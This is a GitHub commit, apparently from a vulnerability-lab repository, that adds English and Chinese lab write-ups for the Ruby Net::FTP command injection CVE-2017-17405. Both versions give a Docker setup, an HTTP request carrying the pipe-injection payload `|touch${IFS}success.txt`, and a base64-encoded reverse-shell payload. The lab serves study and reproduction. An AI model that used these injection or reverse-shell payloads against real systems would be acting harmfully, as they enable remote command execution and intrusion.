Skip to content

Commit

Permalink
add translation for Ruby CVE-2017-17405
Browse files Browse the repository at this point in the history
  • Loading branch information
phith0n committed May 5, 2024
1 parent a212bb1 commit affe4f0
Show file tree
Hide file tree
Showing 2 changed files with 79 additions and 13 deletions.
42 changes: 29 additions & 13 deletions ruby/CVE-2017-17405/README.md
Original file line number Diff line number Diff line change
@@ -1,38 +1,54 @@
# Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405
# Ruby Net::FTP Module Command Injection (CVE-2017-17405)

Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了`open`函数。而在ruby中,`open`函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
[中文版本(Chinese version)](README.zh-cn.md)

## 环境搭建
Ruby Net::FTP module is a FTP library provided by Ruby core.

编译及运行漏洞环境:
Ruby before 2.4.3 allows Net::FTP command injection. `Net::FTP#get`, `getbinaryfile`, `gettextfile`, `put`, `putbinaryfile`, and `puttextfile` use `Kernel#open` to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is `File.basename(remotefile)`, so malicious FTP servers could cause arbitrary command execution.

## Vulnerable environment

Execute following command to start a Ruby 2.4.1 webserver that uses Net::FTP to download FTP file:

```
docker compose build
docker compose up -d
```

环境启动后,访问`http://your-ip:8080/`将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问`http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。
After the server is started, a simple webserver is running on `http://your-ip:8080/`. What this server does is that when we visit `http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`, it downloads the file `vulhub.txt` from FTP server `example.com:2121`.

## 漏洞复现
## Exploit

因为这是一个FTP客户端的漏洞,所以我们需要先运行一个可以被访问到的服务端。比如使用python:
Since this is an FTP client vulnerability, we have to to run a simple FTP server that can be accessed. For example, using Python's pyftpdlib:

```
# 安装pyftpdlib
# intsall pyftpdlib
pip install pyftpdlib
# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口
# start a FTP server on `0.0.0.0:2121`
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
```

然后即可开始利用漏洞。注入命令`|touch${IFS}success.txt`(空格用`${IFS}`代替,原因不表),发送如下数据包即可(其中uri指定的ftp服务器就是我用python运行的一个简单的ftp server,其中无需放置任何文件):
Then, use this FTP server address as the *uri* parameter and the payload `|touch${IFS}success.txt` as the *file* parameter in following request:

```
GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
```

![](1.png)

然后进入docker容器内,可见success.txt已被创建:
Go into the docker container, you can see the `success.txt` has been created successfully:

![](2.png)

执行反弹shell的命令`|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'`,成功反弹:
Change the payload to `|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'` and get a reverse shell:

![](3.png)
50 changes: 50 additions & 0 deletions ruby/CVE-2017-17405/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
# Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)

Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了`open`函数。而在ruby中,`open`函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。

## 漏洞环境

执行如下命令使用Ruby 2.4.1启动一个Web服务:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:8080/`将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问`http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。

## 漏洞复现

因为这是一个FTP客户端的漏洞,所以我们需要先运行一个可以被访问到的服务端。比如使用python的pyftpdlib:

```
# 安装pyftpdlib
pip install pyftpdlib
# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
```

然后,将刚才启动的FTP服务器地址作为*uri*参数,`|touch${IFS}success.txt`作为*file*参数,替换进下面的请求发送:

```
GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
```

![](1.png)

然后进入docker容器内,可见success.txt已被创建:

![](2.png)

执行反弹shell的命令`|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'`,成功反弹:

![](3.png)

0 comments on commit affe4f0

Please sign in to comment.